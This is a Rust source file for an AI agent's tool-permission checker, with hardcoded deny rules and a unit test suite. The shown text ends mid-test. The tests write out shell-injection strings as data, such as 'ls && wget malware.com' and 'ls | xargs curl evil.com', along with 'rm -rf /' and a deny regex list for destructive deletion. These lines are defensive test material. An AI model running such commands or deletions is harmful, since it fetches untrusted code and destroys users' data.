1use crate::AgentTool;
2use crate::shell_parser::extract_commands;
3use crate::tools::TerminalTool;
4use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
5use settings::ToolPermissionMode;
6use std::sync::LazyLock;
7use util::shell::ShellKind;
8
9const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
10 harmful to be allowed, and cannot be overridden by settings.";
11
12/// Security rules that are always enforced and cannot be overridden by any setting.
13/// These protect against catastrophic operations like wiping filesystems.
14pub struct HardcodedSecurityRules {
15 pub terminal_deny: Vec<CompiledRegex>,
16}
17
18pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
19 HardcodedSecurityRules {
20 terminal_deny: vec![
21 // Recursive deletion of root - "rm -rf /" or "rm -rf / "
22 CompiledRegex::new(r"rm\s+(-[rRfF]+\s+)*/\s*$", false)
23 .expect("hardcoded regex should compile"),
24 // Recursive deletion of home - "rm -rf ~" (but not ~/subdir)
25 CompiledRegex::new(r"rm\s+(-[rRfF]+\s+)*~\s*$", false)
26 .expect("hardcoded regex should compile"),
27 ],
28 }
29});
30
31/// Checks if input matches any hardcoded security rules that cannot be bypassed.
32/// Returns a Deny decision if blocked, None otherwise.
33fn check_hardcoded_security_rules(
34 tool_name: &str,
35 input: &str,
36 shell_kind: ShellKind,
37) -> Option<ToolPermissionDecision> {
38 // Currently only terminal tool has hardcoded rules
39 if tool_name != TerminalTool::name() {
40 return None;
41 }
42
43 let rules = &*HARDCODED_SECURITY_RULES;
44 let terminal_patterns = &rules.terminal_deny;
45
46 // First: check the original input as-is
47 for pattern in terminal_patterns {
48 if pattern.is_match(input) {
49 return Some(ToolPermissionDecision::Deny(
50 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
51 ));
52 }
53 }
54
55 // Second: parse and check individual sub-commands (for chained commands)
56 if shell_kind.supports_posix_chaining() {
57 if let Some(commands) = extract_commands(input) {
58 for command in &commands {
59 for pattern in terminal_patterns {
60 if pattern.is_match(command) {
61 return Some(ToolPermissionDecision::Deny(
62 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
63 ));
64 }
65 }
66 }
67 }
68 }
69
70 None
71}
72
73#[derive(Debug, Clone, PartialEq, Eq)]
74pub enum ToolPermissionDecision {
75 Allow,
76 Deny(String),
77 Confirm,
78}
79
80impl ToolPermissionDecision {
81 /// Determines the permission decision for a tool invocation based on configured rules.
82 ///
83 /// # Precedence Order (highest to lowest)
84 ///
85 /// 1. **`always_allow_tool_actions`** - When enabled, allows all tool actions without
86 /// prompting. This global setting bypasses all other checks including deny patterns.
87 /// Use with caution as it disables all security rules.
88 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
89 /// This takes precedence over `always_confirm` and `always_allow` patterns.
90 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
91 /// the user is prompted for confirmation.
92 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
93 /// the tool call proceeds without prompting.
94 /// 5. **`default_mode`** - If no patterns match, falls back to the tool's default mode.
95 ///
96 /// # Shell Compatibility (Terminal Tool Only)
97 ///
98 /// For the terminal tool, commands are parsed to extract sub-commands for security.
99 /// This parsing only works for shells with POSIX-like `&&` / `||` / `;` / `|` syntax:
100 ///
101 /// **Compatible shells:** Posix (sh, bash, dash, zsh), Fish 3.0+, PowerShell 7+/Pwsh,
102 /// Cmd, Xonsh, Csh, Tcsh
103 ///
104 /// **Incompatible shells:** Nushell, Elvish, Rc (Plan 9)
105 ///
106 /// For incompatible shells, `always_allow` patterns are disabled for safety.
107 ///
108 /// # Pattern Matching Tips
109 ///
110 /// Patterns are matched as regular expressions against the tool input (e.g., the command
111 /// string for the terminal tool). Some tips for writing effective patterns:
112 ///
113 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
114 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
115 /// This is important for security rules where you want to block specific commands
116 /// without accidentally blocking unrelated commands that happen to contain the same
117 /// substring.
118 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
119 /// - Use `^` and `$` anchors to match the start/end of the input.
120 pub fn from_input(
121 tool_name: &str,
122 input: &str,
123 permissions: &ToolPermissions,
124 always_allow_tool_actions: bool,
125 shell_kind: ShellKind,
126 ) -> ToolPermissionDecision {
127 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
128 // These cannot be bypassed by any user settings.
129 if let Some(denial) = check_hardcoded_security_rules(tool_name, input, shell_kind) {
130 return denial;
131 }
132
133 // If always_allow_tool_actions is enabled, bypass user-configured permission checks.
134 // Note: This no longer bypasses hardcoded security rules (checked above).
135 if always_allow_tool_actions {
136 return ToolPermissionDecision::Allow;
137 }
138
139 let rules = match permissions.tools.get(tool_name) {
140 Some(rules) => rules,
141 None => {
142 return ToolPermissionDecision::Confirm;
143 }
144 };
145
146 // Check for invalid regex patterns before evaluating rules.
147 // If any patterns failed to compile, block the tool call entirely.
148 if let Some(error) = check_invalid_patterns(tool_name, rules) {
149 return ToolPermissionDecision::Deny(error);
150 }
151
152 // For the terminal tool, parse the command to extract all sub-commands.
153 // This prevents shell injection attacks where a user configures an allow
154 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
155 //
156 // If parsing fails or the shell syntax is unsupported, always_allow is
157 // disabled for this command (we set allow_enabled to false to signal this).
158 if tool_name == TerminalTool::name() {
159 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
160 // See the doc comment above for the list of compatible/incompatible shells.
161 if !shell_kind.supports_posix_chaining() {
162 // For shells with incompatible syntax, we can't reliably parse
163 // the command to extract sub-commands.
164 if !rules.always_allow.is_empty() {
165 // If the user has configured always_allow patterns, we must deny
166 // because we can't safely verify the command doesn't contain
167 // hidden sub-commands that bypass the allow patterns.
168 return ToolPermissionDecision::Deny(format!(
169 "The {} shell does not support \"always allow\" patterns for the terminal \
170 tool because Zed cannot parse its command chaining syntax. Please remove \
171 the always_allow patterns from your tool_permissions settings, or switch \
172 to a POSIX-conforming shell.",
173 shell_kind
174 ));
175 }
176 // No always_allow rules, so we can still check deny/confirm patterns.
177 return check_commands(std::iter::once(input.to_string()), rules, tool_name, false);
178 }
179
180 match extract_commands(input) {
181 Some(commands) => check_commands(commands, rules, tool_name, true),
182 None => {
183 // The command failed to parse, so we check to see if we should auto-deny
184 // or auto-confirm; if neither auto-deny nor auto-confirm applies here,
185 // fall back on the default (based on the user's settings, which is Confirm
186 // if not specified otherwise). Ignore "always allow" when it failed to parse.
187 check_commands(std::iter::once(input.to_string()), rules, tool_name, false)
188 }
189 }
190 } else {
191 check_commands(std::iter::once(input.to_string()), rules, tool_name, true)
192 }
193 }
194}
195
196/// Evaluates permission rules against a set of commands.
197///
198/// This function performs a single pass through all commands with the following logic:
199/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
200/// - **CONFIRM**: Track if ANY command matches a confirm pattern
201/// - **ALLOW**: Track if ALL commands match at least one allow pattern
202///
203/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
204/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
205/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
206fn check_commands(
207 commands: impl IntoIterator<Item = String>,
208 rules: &ToolRules,
209 tool_name: &str,
210 allow_enabled: bool,
211) -> ToolPermissionDecision {
212 // Single pass through all commands:
213 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
214 // - CONFIRM: Track if ANY command matches a confirm pattern
215 // - ALLOW: Track if ALL commands match at least one allow pattern
216 let mut any_matched_confirm = false;
217 let mut all_matched_allow = true;
218 let mut had_any_commands = false;
219
220 for command in commands {
221 had_any_commands = true;
222
223 // DENY: immediate return if any command matches a deny pattern
224 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
225 return ToolPermissionDecision::Deny(format!(
226 "Command blocked by security rule for {} tool",
227 tool_name
228 ));
229 }
230
231 // CONFIRM: remember if any command matches a confirm pattern
232 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
233 any_matched_confirm = true;
234 }
235
236 // ALLOW: track if all commands match at least one allow pattern
237 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
238 all_matched_allow = false;
239 }
240 }
241
242 // After processing all commands, check accumulated state
243 if any_matched_confirm {
244 return ToolPermissionDecision::Confirm;
245 }
246
247 if allow_enabled && all_matched_allow && had_any_commands {
248 return ToolPermissionDecision::Allow;
249 }
250
251 match rules.default_mode {
252 ToolPermissionMode::Deny => {
253 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
254 }
255 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
256 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
257 }
258}
259
260/// Checks if the tool rules contain any invalid regex patterns.
261/// Returns an error message if invalid patterns are found.
262fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
263 if rules.invalid_patterns.is_empty() {
264 return None;
265 }
266
267 let count = rules.invalid_patterns.len();
268 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
269
270 Some(format!(
271 "The {} tool cannot run because {} regex {} failed to compile. \
272 Please fix the invalid patterns in your tool_permissions settings.",
273 tool_name, count, pattern_word
274 ))
275}
276
277/// Convenience wrapper that extracts permission settings from `AgentSettings`.
278///
279/// This is the primary entry point for tools to check permissions. It extracts
280/// `tool_permissions` and `always_allow_tool_actions` from the settings and
281/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
282pub fn decide_permission_from_settings(
283 tool_name: &str,
284 input: &str,
285 settings: &AgentSettings,
286) -> ToolPermissionDecision {
287 ToolPermissionDecision::from_input(
288 tool_name,
289 input,
290 &settings.tool_permissions,
291 settings.always_allow_tool_actions,
292 ShellKind::system(),
293 )
294}
295
296#[cfg(test)]
297mod tests {
298 use super::*;
299 use crate::pattern_extraction::extract_terminal_pattern;
300 use agent_settings::{CompiledRegex, InvalidRegexPattern, ToolRules};
301 use std::sync::Arc;
302
303 fn pattern(command: &str) -> &'static str {
304 Box::leak(
305 extract_terminal_pattern(command)
306 .expect("failed to extract pattern")
307 .into_boxed_str(),
308 )
309 }
310
311 struct PermTest {
312 tool: &'static str,
313 input: &'static str,
314 mode: ToolPermissionMode,
315 allow: Vec<(&'static str, bool)>,
316 deny: Vec<(&'static str, bool)>,
317 confirm: Vec<(&'static str, bool)>,
318 global: bool,
319 shell: ShellKind,
320 }
321
322 impl PermTest {
323 fn new(input: &'static str) -> Self {
324 Self {
325 tool: "terminal",
326 input,
327 mode: ToolPermissionMode::Confirm,
328 allow: vec![],
329 deny: vec![],
330 confirm: vec![],
331 global: false,
332 shell: ShellKind::Posix,
333 }
334 }
335
336 fn tool(mut self, t: &'static str) -> Self {
337 self.tool = t;
338 self
339 }
340 fn mode(mut self, m: ToolPermissionMode) -> Self {
341 self.mode = m;
342 self
343 }
344 fn allow(mut self, p: &[&'static str]) -> Self {
345 self.allow = p.iter().map(|s| (*s, false)).collect();
346 self
347 }
348 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
349 self.allow = p.iter().map(|s| (*s, true)).collect();
350 self
351 }
352 fn deny(mut self, p: &[&'static str]) -> Self {
353 self.deny = p.iter().map(|s| (*s, false)).collect();
354 self
355 }
356 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
357 self.deny = p.iter().map(|s| (*s, true)).collect();
358 self
359 }
360 fn confirm(mut self, p: &[&'static str]) -> Self {
361 self.confirm = p.iter().map(|s| (*s, false)).collect();
362 self
363 }
364 fn global(mut self, g: bool) -> Self {
365 self.global = g;
366 self
367 }
368 fn shell(mut self, s: ShellKind) -> Self {
369 self.shell = s;
370 self
371 }
372
373 fn is_allow(self) {
374 assert_eq!(
375 self.run(),
376 ToolPermissionDecision::Allow,
377 "expected Allow for '{}'",
378 self.input
379 );
380 }
381 fn is_deny(self) {
382 assert!(
383 matches!(self.run(), ToolPermissionDecision::Deny(_)),
384 "expected Deny for '{}'",
385 self.input
386 );
387 }
388 fn is_confirm(self) {
389 assert_eq!(
390 self.run(),
391 ToolPermissionDecision::Confirm,
392 "expected Confirm for '{}'",
393 self.input
394 );
395 }
396
397 fn run(&self) -> ToolPermissionDecision {
398 let mut tools = collections::HashMap::default();
399 tools.insert(
400 Arc::from(self.tool),
401 ToolRules {
402 default_mode: self.mode,
403 always_allow: self
404 .allow
405 .iter()
406 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
407 .collect(),
408 always_deny: self
409 .deny
410 .iter()
411 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
412 .collect(),
413 always_confirm: self
414 .confirm
415 .iter()
416 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
417 .collect(),
418 invalid_patterns: vec![],
419 },
420 );
421 ToolPermissionDecision::from_input(
422 self.tool,
423 self.input,
424 &ToolPermissions { tools },
425 self.global,
426 self.shell,
427 )
428 }
429 }
430
431 fn t(input: &'static str) -> PermTest {
432 PermTest::new(input)
433 }
434
435 fn no_rules(input: &str, global: bool) -> ToolPermissionDecision {
436 ToolPermissionDecision::from_input(
437 "terminal",
438 input,
439 &ToolPermissions {
440 tools: collections::HashMap::default(),
441 },
442 global,
443 ShellKind::Posix,
444 )
445 }
446
447 // allow pattern matches
448 #[test]
449 fn allow_exact_match() {
450 t("cargo test").allow(&[pattern("cargo")]).is_allow();
451 }
452 #[test]
453 fn allow_one_of_many_patterns() {
454 t("npm install")
455 .allow(&[pattern("cargo"), pattern("npm")])
456 .is_allow();
457 t("git status")
458 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
459 .is_allow();
460 }
461 #[test]
462 fn allow_middle_pattern() {
463 t("run cargo now").allow(&["cargo"]).is_allow();
464 }
465 #[test]
466 fn allow_anchor_prevents_middle() {
467 t("run cargo now").allow(&["^cargo"]).is_confirm();
468 }
469
470 // allow pattern doesn't match -> falls through
471 #[test]
472 fn allow_no_match_confirms() {
473 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
474 }
475 #[test]
476 fn allow_no_match_global_allows() {
477 t("python x.py")
478 .allow(&[pattern("cargo")])
479 .global(true)
480 .is_allow();
481 }
482
483 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
484 #[test]
485 fn deny_blocks() {
486 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
487 }
488 #[test]
489 fn global_bypasses_user_deny() {
490 // always_allow_tool_actions bypasses user-configured deny rules
491 t("rm -rf ./temp")
492 .deny(&["rm\\s+-rf"])
493 .global(true)
494 .is_allow();
495 }
496 #[test]
497 fn deny_blocks_with_mode_allow() {
498 t("rm -rf ./temp")
499 .deny(&["rm\\s+-rf"])
500 .mode(ToolPermissionMode::Allow)
501 .is_deny();
502 }
503 #[test]
504 fn deny_middle_match() {
505 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
506 }
507 #[test]
508 fn deny_no_match_falls_through() {
509 t("ls -la")
510 .deny(&["rm\\s+-rf"])
511 .mode(ToolPermissionMode::Allow)
512 .is_allow();
513 }
514
515 // confirm pattern matches
516 #[test]
517 fn confirm_requires_confirm() {
518 t("sudo apt install")
519 .confirm(&[pattern("sudo")])
520 .is_confirm();
521 }
522 #[test]
523 fn global_overrides_confirm() {
524 t("sudo reboot")
525 .confirm(&[pattern("sudo")])
526 .global(true)
527 .is_allow();
528 }
529 #[test]
530 fn confirm_overrides_mode_allow() {
531 t("sudo x")
532 .confirm(&["sudo"])
533 .mode(ToolPermissionMode::Allow)
534 .is_confirm();
535 }
536
537 // confirm beats allow
538 #[test]
539 fn confirm_beats_allow() {
540 t("git push --force")
541 .allow(&[pattern("git")])
542 .confirm(&["--force"])
543 .is_confirm();
544 }
545 #[test]
546 fn confirm_beats_allow_overlap() {
547 t("deploy prod")
548 .allow(&["deploy"])
549 .confirm(&["prod"])
550 .is_confirm();
551 }
552 #[test]
553 fn allow_when_confirm_no_match() {
554 t("git status")
555 .allow(&[pattern("git")])
556 .confirm(&["--force"])
557 .is_allow();
558 }
559
560 // deny beats allow
561 #[test]
562 fn deny_beats_allow() {
563 t("rm -rf ./tmp/x")
564 .allow(&["/tmp/"])
565 .deny(&["rm\\s+-rf"])
566 .is_deny();
567 }
568
569 #[test]
570 fn deny_beats_confirm() {
571 t("sudo rm -rf ./temp")
572 .confirm(&["sudo"])
573 .deny(&["rm\\s+-rf"])
574 .is_deny();
575 }
576
577 // deny beats everything
578 #[test]
579 fn deny_beats_all() {
580 t("bad cmd")
581 .allow(&["cmd"])
582 .confirm(&["cmd"])
583 .deny(&["bad"])
584 .is_deny();
585 }
586
587 // no patterns -> default_mode
588 #[test]
589 fn default_confirm() {
590 t("python x.py")
591 .mode(ToolPermissionMode::Confirm)
592 .is_confirm();
593 }
594 #[test]
595 fn default_allow() {
596 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
597 }
598 #[test]
599 fn default_deny() {
600 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
601 }
602 #[test]
603 fn default_deny_global_true() {
604 t("python x.py")
605 .mode(ToolPermissionMode::Deny)
606 .global(true)
607 .is_allow();
608 }
609
610 #[test]
611 fn default_confirm_global_true() {
612 t("x")
613 .mode(ToolPermissionMode::Confirm)
614 .global(true)
615 .is_allow();
616 }
617
618 #[test]
619 fn no_rules_confirms_by_default() {
620 assert_eq!(no_rules("x", false), ToolPermissionDecision::Confirm);
621 }
622
623 #[test]
624 fn empty_input_no_match() {
625 t("")
626 .deny(&["rm"])
627 .mode(ToolPermissionMode::Allow)
628 .is_allow();
629 }
630
631 #[test]
632 fn empty_input_with_allow_falls_to_default() {
633 t("").allow(&["^ls"]).is_confirm();
634 }
635
636 #[test]
637 fn multi_deny_any_match() {
638 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
639 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
640 }
641
642 #[test]
643 fn multi_allow_any_match() {
644 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
645 }
646 #[test]
647 fn multi_none_match() {
648 t("python x")
649 .allow(&["^cargo", "^npm"])
650 .deny(&["rm"])
651 .is_confirm();
652 }
653
654 // tool isolation
655 #[test]
656 fn other_tool_not_affected() {
657 let mut tools = collections::HashMap::default();
658 tools.insert(
659 Arc::from("terminal"),
660 ToolRules {
661 default_mode: ToolPermissionMode::Deny,
662 always_allow: vec![],
663 always_deny: vec![],
664 always_confirm: vec![],
665 invalid_patterns: vec![],
666 },
667 );
668 tools.insert(
669 Arc::from("edit_file"),
670 ToolRules {
671 default_mode: ToolPermissionMode::Allow,
672 always_allow: vec![],
673 always_deny: vec![],
674 always_confirm: vec![],
675 invalid_patterns: vec![],
676 },
677 );
678 let p = ToolPermissions { tools };
679 // With always_allow_tool_actions=true, even default_mode: Deny is overridden
680 assert_eq!(
681 ToolPermissionDecision::from_input("terminal", "x", &p, true, ShellKind::Posix),
682 ToolPermissionDecision::Allow
683 );
684 // With always_allow_tool_actions=false, default_mode: Deny is respected
685 assert!(matches!(
686 ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
687 ToolPermissionDecision::Deny(_)
688 ));
689 assert_eq!(
690 ToolPermissionDecision::from_input("edit_file", "x", &p, false, ShellKind::Posix),
691 ToolPermissionDecision::Allow
692 );
693 }
694
695 #[test]
696 fn partial_tool_name_no_match() {
697 let mut tools = collections::HashMap::default();
698 tools.insert(
699 Arc::from("term"),
700 ToolRules {
701 default_mode: ToolPermissionMode::Deny,
702 always_allow: vec![],
703 always_deny: vec![],
704 always_confirm: vec![],
705 invalid_patterns: vec![],
706 },
707 );
708 let p = ToolPermissions { tools };
709 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
710 assert_eq!(
711 ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
712 ToolPermissionDecision::Confirm
713 );
714 }
715
716 // invalid patterns block the tool (but global bypasses all checks)
717 #[test]
718 fn invalid_pattern_blocks() {
719 let mut tools = collections::HashMap::default();
720 tools.insert(
721 Arc::from("terminal"),
722 ToolRules {
723 default_mode: ToolPermissionMode::Allow,
724 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
725 always_deny: vec![],
726 always_confirm: vec![],
727 invalid_patterns: vec![InvalidRegexPattern {
728 pattern: "[bad".into(),
729 rule_type: "always_deny".into(),
730 error: "err".into(),
731 }],
732 },
733 );
734 let p = ToolPermissions {
735 tools: tools.clone(),
736 };
737 // With global=true, all checks are bypassed including invalid pattern check
738 assert!(matches!(
739 ToolPermissionDecision::from_input("terminal", "echo hi", &p, true, ShellKind::Posix),
740 ToolPermissionDecision::Allow
741 ));
742 // With global=false, invalid patterns block the tool
743 assert!(matches!(
744 ToolPermissionDecision::from_input("terminal", "echo hi", &p, false, ShellKind::Posix),
745 ToolPermissionDecision::Deny(_)
746 ));
747 }
748
749 #[test]
750 fn shell_injection_via_double_ampersand_not_allowed() {
751 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
752 }
753
754 #[test]
755 fn shell_injection_via_semicolon_not_allowed() {
756 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
757 }
758
759 #[test]
760 fn shell_injection_via_pipe_not_allowed() {
761 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
762 }
763
764 #[test]
765 fn shell_injection_via_backticks_not_allowed() {
766 t("echo `wget malware.com`")
767 .allow(&[pattern("echo")])
768 .is_confirm();
769 }
770
771 #[test]
772 fn shell_injection_via_dollar_parens_not_allowed() {
773 t("echo $(wget malware.com)")
774 .allow(&[pattern("echo")])
775 .is_confirm();
776 }
777
778 #[test]
779 fn shell_injection_via_or_operator_not_allowed() {
780 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
781 }
782
783 #[test]
784 fn shell_injection_via_background_operator_not_allowed() {
785 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
786 }
787
788 #[test]
789 fn shell_injection_via_newline_not_allowed() {
790 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
791 }
792
793 #[test]
794 fn shell_injection_via_process_substitution_input_not_allowed() {
795 t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
796 }
797
798 #[test]
799 fn shell_injection_via_process_substitution_output_not_allowed() {
800 t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
801 }
802
803 #[test]
804 fn shell_injection_without_spaces_not_allowed() {
805 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
806 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
807 }
808
809 #[test]
810 fn shell_injection_multiple_chained_operators_not_allowed() {
811 t("ls && echo hello && wget malware.com")
812 .allow(&["^ls"])
813 .is_confirm();
814 }
815
816 #[test]
817 fn shell_injection_mixed_operators_not_allowed() {
818 t("ls; echo hello && wget malware.com")
819 .allow(&["^ls"])
820 .is_confirm();
821 }
822
823 #[test]
824 fn shell_injection_pipe_stderr_not_allowed() {
825 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
826 }
827
828 #[test]
829 fn allow_requires_all_commands_to_match() {
830 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
831 }
832
833 #[test]
834 fn deny_triggers_on_any_matching_command() {
835 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
836 }
837
838 #[test]
839 fn deny_catches_injected_command() {
840 t("ls && rm -rf ./temp")
841 .allow(&["^ls"])
842 .deny(&["^rm"])
843 .is_deny();
844 }
845
846 #[test]
847 fn confirm_triggers_on_any_matching_command() {
848 t("ls && sudo reboot")
849 .allow(&["^ls"])
850 .confirm(&["^sudo"])
851 .is_confirm();
852 }
853
854 #[test]
855 fn always_allow_button_works_end_to_end() {
856 // This test verifies that the "Always Allow" button behavior works correctly:
857 // 1. User runs a command like "cargo build"
858 // 2. They click "Always Allow for `cargo` commands"
859 // 3. The pattern extracted from that command should match future cargo commands
860 let original_command = "cargo build --release";
861 let extracted_pattern = pattern(original_command);
862
863 // The extracted pattern should allow the original command
864 t(original_command).allow(&[extracted_pattern]).is_allow();
865
866 // It should also allow other commands with the same base command
867 t("cargo test").allow(&[extracted_pattern]).is_allow();
868 t("cargo fmt").allow(&[extracted_pattern]).is_allow();
869
870 // But not commands with different base commands
871 t("npm install").allow(&[extracted_pattern]).is_confirm();
872
873 // And it should work with subcommand extraction (chained commands)
874 t("cargo build && cargo test")
875 .allow(&[extracted_pattern])
876 .is_allow();
877
878 // But reject if any subcommand doesn't match
879 t("cargo build && npm install")
880 .allow(&[extracted_pattern])
881 .is_confirm();
882 }
883
884 #[test]
885 fn nested_command_substitution_all_checked() {
886 t("echo $(cat $(whoami).txt)")
887 .allow(&["^echo", "^cat", "^whoami"])
888 .is_allow();
889 }
890
891 #[test]
892 fn parse_failure_falls_back_to_confirm() {
893 t("ls &&").allow(&["^ls$"]).is_confirm();
894 }
895
896 #[test]
897 fn mcp_tool_default_modes() {
898 t("")
899 .tool("mcp:fs:read")
900 .mode(ToolPermissionMode::Allow)
901 .is_allow();
902 t("")
903 .tool("mcp:bad:del")
904 .mode(ToolPermissionMode::Deny)
905 .is_deny();
906 t("")
907 .tool("mcp:gh:issue")
908 .mode(ToolPermissionMode::Confirm)
909 .is_confirm();
910 t("")
911 .tool("mcp:gh:issue")
912 .mode(ToolPermissionMode::Confirm)
913 .global(true)
914 .is_allow();
915 }
916
917 #[test]
918 fn mcp_doesnt_collide_with_builtin() {
919 let mut tools = collections::HashMap::default();
920 tools.insert(
921 Arc::from("terminal"),
922 ToolRules {
923 default_mode: ToolPermissionMode::Deny,
924 always_allow: vec![],
925 always_deny: vec![],
926 always_confirm: vec![],
927 invalid_patterns: vec![],
928 },
929 );
930 tools.insert(
931 Arc::from("mcp:srv:terminal"),
932 ToolRules {
933 default_mode: ToolPermissionMode::Allow,
934 always_allow: vec![],
935 always_deny: vec![],
936 always_confirm: vec![],
937 invalid_patterns: vec![],
938 },
939 );
940 let p = ToolPermissions { tools };
941 assert!(matches!(
942 ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
943 ToolPermissionDecision::Deny(_)
944 ));
945 assert_eq!(
946 ToolPermissionDecision::from_input(
947 "mcp:srv:terminal",
948 "x",
949 &p,
950 false,
951 ShellKind::Posix
952 ),
953 ToolPermissionDecision::Allow
954 );
955 }
956
957 #[test]
958 fn case_insensitive_by_default() {
959 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
960 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
961 }
962
963 #[test]
964 fn case_sensitive_allow() {
965 t("cargo test")
966 .allow_case_sensitive(&[pattern("cargo")])
967 .is_allow();
968 t("CARGO TEST")
969 .allow_case_sensitive(&[pattern("cargo")])
970 .is_confirm();
971 }
972
973 #[test]
974 fn case_sensitive_deny() {
975 t("rm -rf ./temp")
976 .deny_case_sensitive(&[pattern("rm")])
977 .is_deny();
978 t("RM -RF ./temp")
979 .deny_case_sensitive(&[pattern("rm")])
980 .mode(ToolPermissionMode::Allow)
981 .is_allow();
982 }
983
984 #[test]
985 fn nushell_denies_when_always_allow_configured() {
986 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_deny();
987 }
988
989 #[test]
990 fn nushell_allows_deny_patterns() {
991 t("rm -rf ./temp")
992 .deny(&["rm\\s+-rf"])
993 .shell(ShellKind::Nushell)
994 .is_deny();
995 }
996
997 #[test]
998 fn nushell_allows_confirm_patterns() {
999 t("sudo reboot")
1000 .confirm(&["sudo"])
1001 .shell(ShellKind::Nushell)
1002 .is_confirm();
1003 }
1004
1005 #[test]
1006 fn nushell_no_allow_patterns_uses_default() {
1007 t("ls")
1008 .deny(&["rm"])
1009 .mode(ToolPermissionMode::Allow)
1010 .shell(ShellKind::Nushell)
1011 .is_allow();
1012 }
1013
1014 #[test]
1015 fn elvish_denies_when_always_allow_configured() {
1016 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_deny();
1017 }
1018
1019 #[test]
1020 fn multiple_invalid_patterns_pluralizes_message() {
1021 let mut tools = collections::HashMap::default();
1022 tools.insert(
1023 Arc::from("terminal"),
1024 ToolRules {
1025 default_mode: ToolPermissionMode::Allow,
1026 always_allow: vec![],
1027 always_deny: vec![],
1028 always_confirm: vec![],
1029 invalid_patterns: vec![
1030 InvalidRegexPattern {
1031 pattern: "[bad1".into(),
1032 rule_type: "always_deny".into(),
1033 error: "err1".into(),
1034 },
1035 InvalidRegexPattern {
1036 pattern: "[bad2".into(),
1037 rule_type: "always_allow".into(),
1038 error: "err2".into(),
1039 },
1040 ],
1041 },
1042 );
1043 let p = ToolPermissions { tools };
1044
1045 let result =
1046 ToolPermissionDecision::from_input("terminal", "echo hi", &p, false, ShellKind::Posix);
1047 match result {
1048 ToolPermissionDecision::Deny(msg) => {
1049 assert!(
1050 msg.contains("2 regex patterns"),
1051 "Expected '2 regex patterns' in message, got: {}",
1052 msg
1053 );
1054 }
1055 other => panic!("Expected Deny, got {:?}", other),
1056 }
1057 }
1058
1059 // Hardcoded security rules tests - these rules CANNOT be bypassed
1060
1061 #[test]
1062 fn hardcoded_blocks_rm_rf_root() {
1063 // rm -rf / should be blocked by hardcoded rules
1064 t("rm -rf /").is_deny();
1065 }
1066
1067 #[test]
1068 fn hardcoded_blocks_rm_rf_home() {
1069 // rm -rf ~ should be blocked by hardcoded rules
1070 t("rm -rf ~").is_deny();
1071 }
1072
1073 #[test]
1074 fn hardcoded_cannot_be_bypassed_by_global() {
1075 // Even with always_allow_tool_actions=true, hardcoded rules block
1076 t("rm -rf /").global(true).is_deny();
1077 t("rm -rf ~").global(true).is_deny();
1078 }
1079
1080 #[test]
1081 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
